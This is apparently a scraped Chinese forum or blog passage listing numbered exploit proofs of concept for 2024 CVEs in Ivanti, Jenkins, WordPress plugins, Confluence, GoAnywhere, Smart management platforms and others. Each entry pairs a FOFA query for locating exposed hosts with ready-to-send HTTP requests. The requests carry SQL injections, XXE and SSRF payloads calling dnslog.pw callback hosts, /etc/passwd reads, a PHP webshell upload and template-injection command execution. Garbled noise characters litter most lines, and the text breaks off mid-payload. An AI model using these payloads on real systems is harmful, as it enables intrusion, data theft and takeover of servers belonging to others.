FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
5 h" V6 p* o1 h( G, H  _Connection: close
# N3 R: B- b  g/ {) RContent-Length: 792
0 G. t- f" G% H- o" @Accept-Encoding: gzip

' ]9 o: Q' s- U( @, M; W) h<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
& e4 O: @6 K& w  m6 OCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
+ r( l1 @7 Y' ]Connection: close
Content-Length: 204
# T4 c8 Q/ j. w3 ZContent-Type: application/x-www-form-urlencoded
! i* A& T  o; s+ v/ UAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

# c; v/ c' h$ \$ K9 c
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
# u$ T4 Z) _( ]+ o, U
* z; E6 {/ c. T! b8 w5 @) X
1 F' w. z4 G, |6 L% f104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
1 c1 h: v. J; S0 D8 vFOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
3 w) R- n, w5 o8 t+ kReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
+ |4 ?" f1 k! k; v; h) }9 F9 IAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
3 a! J2 G' q( AConnection:close

3 x, w6 [. y8 ?5 b7 G5 _' L: m. B{
"topicurl":"getSysStatusCfg",
* U: I2 p: z; L5 _3 p"token":""
}
+ O# `: R$ A  K  n# V% k' W( d
105. SpringBlade v3.2.0 export-user SQL 注入
% A! P( i8 e8 v5 H5 g, O; M7 QFOFA：body="https://bladex.vip"
! g9 _( v& N5 D& _  X6 zhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
, Z$ Z5 c7 W- u9 UFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
2 D% v: k  p" z1 ^0 CHost: your-ip
; {" a0 Q' J. T( C# L, F  FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. M5 M; D4 d4 e9 R0 C& }& p7 YBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
7 K* I! K6 U/ v* H* N1 M

107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
0 u0 F3 U0 W( T8 @, L* H5 lHost: your-ip
/ x  D1 z- S, l& |. E% wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
" s* P7 |# U, a+ v1 nConnection: close
. z9 H7 R& `$ m2 T

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
: b4 ^) S5 P  e9 L! d& i. }# o, dFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
, }7 P+ J) t0 b/ Z' W  {Host: your-ip
& _& ]! S. b# ZAccept: application/json, text/plain, */*
4 T2 l; h7 _+ Z$ |. w  `9 [9 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
% i- }* n* {" A7 IAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
  _( {9 g1 X0 G: E3 z' u
0 a5 M8 k2 N" ]8 L3 @
5 Y- S  s% P0 h, X( }109. Jenkins CLI 任意文件读取
CVE-2024-23897
1 }. U2 E; b( C8 Q/ ~3 y3 i& Y: lFOFA：header="X-Jenkins"
" P; H3 e6 L) X. b+ H; pPOST /cli?remoting=false HTTP/1.1
" U3 l. l7 b- [Host:
Content-type: application/octet-stream
4 b& X: ]! y) W$ xSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
- m$ C* L" m& o: w% _* @Connection: keep-alive
& ?* c4 R6 u% m7 b& z" K) w$ TContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

5 s' O$ B, w2 E) _
, U: |9 J& E2 b7 W, Z3 p! }POST /cli?remoting=false HTTP/1.1
$ a  Q  D% i' p$ Z( }Host:
+ O! l. |1 W6 F- y4 c9 N$ j- ySession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
+ x& p0 {. [3 {3 |+ fdownload
Content-Type: application/x-www-form-urlencoded
+ F* E8 e' D8 \8 [) @  AContent-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
; N% `' b3 {3 A* ?" q) L! F

110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
5 c' W1 K: D1 O6 p  U! |1 ?; w; bHost: 192.168.40.130:8000
/ }  K! @" i% f; m1 I% z6 U& O8 yUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
& Z$ h: G+ c- n& r3 U$ R' tAccept-Encoding: gzip
8 H8 c% s$ x: |1 _
( v2 [! ~8 @+ B4 _9 m: b+ X
* Y& c' \8 m, v1 \9 v% c# w& }# ?111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& x; R, L4 ]! E" r0 J' n) TConnection: close
Accept: */*
Accept-Language: en
0 ?) g7 x) P% E( ^  n- A) F8 M- J9 ZAccept-Encoding: gzip
! Y. a2 V% f/ W8 ~6 n5 q
5 Z! [9 f0 J$ ~5 R5 S
112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
0 X4 h6 `( C9 m7 rFOFA：body="/wp-content/plugins/notificationx"
7 Q/ O8 Y" e" ^2 C, f8 e2 ^POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

& L8 i% C. D: m. |{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
3 ], y6 \% ?; D3 ^. p8 M7 J
7 W4 ?2 V: N5 _6 K. r# C
: O" |) |2 L+ S) m) c+ `- c* \113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
# z8 Q# T) U' G' x/ iFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
& j# ~3 E1 d1 B) eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
6 J: u4 ^- x+ j9 t) G) |# r5 [Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
2 \2 e0 `) ]' P! b4 OAccept-Encoding: gzip, deflate
Connection: close

6 \0 Z5 d" m+ F7 Q) |
$ f) o  @! D% v. p115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
/ a0 _+ u3 P. F0 f* C  A0 B5 nFOFA: body="/wp-content/themes/bricks/"
  c( n5 t! V6 P第一步，获取网站的nonce值
& a/ a2 L# f! Z3 TGET / HTTP/1.1
7 `' K# [) d9 |' B1 YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
$ u$ o; ?+ A; M5 p* X) |3 x& rAccept-Encoding: gzip

+ N3 s' M* ^5 @% q' `
8 Q& J" A  A! ^" r1 K, M第二步替换nonce值，执行命令
+ B# @+ M- ~) Y8 r3 `! z4 mPOST /wp-json/bricks/v1/render_element HTTP/1.1
: K2 T, {1 L2 Y, A  B. |Host: x.x.x.x
& m$ d9 {$ W) V( A+ u3 H; ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
& M( b  U" T' LConnection: close
Content-Length: 356
* B0 W5 M4 V  B& D2 `, e' G4 vContent-Type: application/json
Accept-Encoding: gzip
0 U* X- _% f. v2 u1 W$ N
4 V9 q( O2 J* X{
( `5 m9 f, P3 M6 Y"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
# f- ?% u$ E, p  g& ?      "hasLoop": "true",
0 I! w0 N9 I& V/ u7 o      "query": {
        "useQueryEditor": true,
3 H9 i: T4 b6 @1 L+ i        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
2 Y: d, b: w  A$ s: I4 I- v3 h      }
3 I, B) t' z2 p+ w9 h# O& M+ n; v    }
, ~. `1 y7 Q7 q4 j; J% m4 T: d# B  }
}
5 S5 Y4 [7 I$ n7 _

; f' ~7 x* T6 ]1 d% j5 g1 z. R116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
4 f. i: s+ t0 |: S: e7 hHost:
- e$ A  U- J, OContent-Type: multipart/form-data; boundary=--------767099171
8 `7 |1 `4 u& e+ N8 ]! }User-Agent: Mozilla/5.0

( d5 l5 n+ {, y4 n: R& h& k4 O----------767099171
Content-Disposition: form-data; name="action"
( k$ T' L# W5 qconfiguration_saveconfiguration
2 J' q( L) l) F0 Y& z/ h----------767099171
: N' `3 [5 v( G( a4 HContent-Disposition: form-data; name="form_request"
jssupportticket
: I" o3 G* q3 m) g----------767099171
5 t; P9 }5 ?; TContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
! \  t+ b) G1 lContent-Type: image/png
----------767099171--


# O4 k  ]) {6 R3 S7 V$ R; C117. WordPress LayerSlider插件SQL注入
0 _+ q# K$ m+ p% Aversion：7.9.11 – 7.10.0
6 O/ g0 U- j. z7 }8 sFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
. l! `( l& N+ W% B, M+ nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! `: b: o  S8 h& T: p& TAccept-Encoding: gzip, deflate, br
Connection: close
8 _8 A) n6 o2 D' x4 bUpgrade-Insecure-Requests: 1
9 u2 B! Z8 \- x2 |

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
/ A! T/ |4 R, jFOFA：title="Smart管理平台"
* a2 x0 R6 J. l2 uPOST /Tool/uploadfile.php? HTTP/1.1
1 `1 J" ]0 V" h" I7 Z8 MHost: 192.168.40.130:8443
) I* v6 p" t0 l1 YCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
4 B/ G" \, ?" T6 Q# kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
: X3 y- s- Y, l( F4 T2 B: tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* T4 @4 X  H( [! wContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
2 j) i$ c  _( b5 ]Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
, A4 X8 j: i4 D4 f1 P/ tSec-Fetch-User: ?1
Te: trailers
Connection: close
  V0 v# L! Q) G( L
, E3 p) h8 k$ [, Z; a-----------------------------13979701222747646634037182887
) |+ M5 V2 `4 ]3 B+ Z8 cContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
! q/ ^0 W: j/ o) KContent-Disposition: form-data; name="txt_path"
, R9 J: [2 |  Y; ^' P
, F: `+ i0 a+ o9 ]+ y" L) x/home/src.php
) J( Z! w5 K# r5 k, a- T8 Q* v-----------------------------13979701222747646634037182887--


访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
4 o2 h/ ^5 m* Q1 v( s& YCVE-2024-1254
FOFA：title="Smart管理平台"
+ ]! B1 G) n) s$ L" V* W# Z% R先登录进入系统，默认账号密码为admin/admin
5 k% K: h- ^1 ^# m$ N# XPOST /sysmanage/sysmanageajax.php HTTP/1.11
9 f: n* v9 r- [5 b# AHost: x.x.x.x
  W9 `) G% R4 A1 w( e; x* UCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
& A6 c$ [. x9 K  X. zAccept: */*
( ~3 |, d! x( L* m0 m7 u/ f4 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
+ u& e8 T  |+ d+ H# }+ o: v( u) Q  sOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
0 ~: s2 d$ T' K1 n7 fSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
8 c8 z# Z( ^, H1 M& PX-Originating-Ip: 1.1.1.1
4 r- F4 P1 D9 i: X+ lX-Remote-Ip: 1.1.1.1
; c- A+ `: _! NX-Remote-Addr: 1.1.1.1
% T) s9 z' E# xTe: trailers
Connection: close

. ~. i- H4 ~8 u9 vsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
+ c% b9 r/ S2 d- i! T" rFOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
) D+ t' r; {# z  z, LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 t& u) P5 m# Q2 cAccept-Encoding: gzip, deflate
' @9 q* j$ @- mContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
, d) @  R  u; o. [# JOrigin: https://ip:port
% ]( e3 v8 S3 d0 F$ Z6 rReferer: https://ip:port/sysmanage/licence.php
. t8 w3 M( A2 J) v) T1 _1 lUpgrade-Insecure-Requests: 1
+ ~) b! ]$ H9 dSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
& x0 z2 u! Z1 w. Y0 y" N) DTe: trailers
Connection: close
- r4 G4 z% u% P2 X9 s% X
; @; X6 u& B1 w5 R; a" L-----------------------------42328904123665875270630079328
  `6 ?, w$ v  n. S# |Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
; Q* y  \& ~1 A6 o3 _
<?php phpinfo()?>
7 z' l, O0 G0 |/ l-----------------------------42328904123665875270630079328
9 X. G2 ?% U; MContent-Disposition: form-data; name="id_type"
! J" ]+ F5 x. u# i1 P" E
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
# u3 V  b5 I; H1 m
6 }/ B0 P- g6 i* t2 y2 J0 }1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
, s1 U" u# U; `
import
-----------------------------42328904123665875270630079328


/ \, b  z8 q! E* |文件路径/upload/2.php
. f# {+ Y3 m* ^5 g8 D
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
( ~7 l8 V) M8 A$ ^' MPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
6 n; o* p/ U$ F) r1 o, R/ t" kCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
$ k# B2 w1 y' O2 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
1 Q& c6 D* h) z2 O7 f; [+ a9 O3 oOrigin: https://192.168.40.130:8443
9 n9 d1 v1 w, VUpgrade-Insecure-Requests: 1
% q  O5 K: W& _' [# x; OSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
# m- f  X9 s/ O( G4 A# n# h1 z) s6 p1 ASec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
  g: P  [5 ?2 @% a# ^- Y( tTe: trailers
Connection: close
$ {/ B/ {" l' E/ }" _
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
  X) A7 e- o$ e0 ~& ^6 GContent-Type: application/octet-stream
& l8 Z4 s* Q9 s8 x5 r3 [. t
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

. N% Y9 L$ l: g2 p4 B. ~1
-----------------------------42328904123665875270630079328
$ K3 u. W$ a7 B, {5 p1 M6 s2 AContent-Disposition: form-data; name="1_ck"
% s( T+ O' Y+ i% d
( e+ ?4 E  s& v  N: U7 J1_radhttp
/ P+ O0 o0 F( x+ E7 H-----------------------------42328904123665875270630079328
* {% d. \2 \/ k( Q6 GContent-Disposition: form-data; name="hidwel"
/ Y# N- a% \" ^' ^  w9 ]' C
set
-----------------------------42328904123665875270630079328
4 q3 d  y$ |. k- Y4 ]
0 d" Z! W; f% _: R
boot/web/upload/weblogo/1.php
2 D# E& G8 ?( {
; `8 _# \5 s# E) z* Z0 o122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
1 M' `% a3 G2 @% s其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
8 N6 V, U! B& _* P4 H3 D/ p* HGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
- r2 T0 e3 o5 _7 N# ^Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
" L+ h( a1 p6 L# @8 ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: ~" y# V' _& c. fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
) ?+ h' W  v( [+ |/ u- ZSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
8 |/ Z/ k) Q+ r( oSec-Fetch-Site: none
3 R) f6 D1 h: p9 h. kSec-Fetch-User: ?1
( K' B5 |; F1 |  r' XTe: trailers
Connection: close

2 M% D5 _; g+ A: m! G
( `( u: C) q) V1 a' @" j123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
7 d2 y0 c5 W' h! W) }Host: localhost:8090
Accept-Encoding: gzip, deflate, br
+ O2 o0 [) d7 x( o# P4 }5 z. P3 QAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
1 C& D, |. W7 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded

# @1 `% W) _9 F$ Klabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

8 r5 \! _/ U; L+ n9 E  k' Z
124. 湖南建研工程质量检测系统任意文件上传
* f6 U6 A7 Q. _. ^. t0 ]FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
7 n! Y, i9 E# UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
4 a% h3 m5 I2 A+ w& c- B# dAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" Z8 B* |8 l# O3 e+ y% O3 UConnection: close
& z1 Y* m+ u0 |; Q3 _Content-Type: application/x-www-form-urlencoded
( D4 j. L! \$ x3 |4 k- ~
; c- L! n+ U$ ]# |2 @filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


. A! A( E; |" m! Mhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
$ B9 D( F5 g& w. ~0 V
125. ConnectWise ScreenConnect身份验证绕过
5 X4 l1 @( g! W. l* w: i9 p5 XCVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
  L- ^: F* u. u( L1 t8 p$ U" ~+ s

' y7 y7 O! F& M使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
3 s6 X. X5 l8 D. h

创建好用户后直接登录后台，可以执行系统命令。

& y; K3 v6 l8 N7 Z: I126. Aiohttp 路径遍历
9 P" ~9 D5 B& s8 w6 d8 h: cFOFA：title=="ComfyUI"
& C* s8 A8 w4 x4 MGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
5 b, T. l1 P4 M. H# W) m( lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
' j, V' _: C# x* [% G' X# nConnection: close
. d5 e1 a8 A, `0 b$ ]" hAccept: */*
Accept-Language: en
Accept-Encoding: gzip
1 S0 C4 j2 i& v2 N

7 J& T/ c& E2 P127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
7 [! ]( O/ d2 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( u5 e9 C8 b2 U; U9 d: uAccept-Encoding: gzip, deflate
6 n& O, D6 }5 k" ~" E4 g; S% iAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
0 e2 `9 a6 R  ]2 V+ w* |
0 h+ c& B+ n: m( c5 _------WebKitFormBoundaryJGgV5l5ta05yAIe0
5 G5 N+ g! g1 x( s; h: XContent-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
4 o( ]  A' A$ e. T7 @Content-Type: text/plain

% h) ]5 H7 T$ G/ Q4 a* d<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
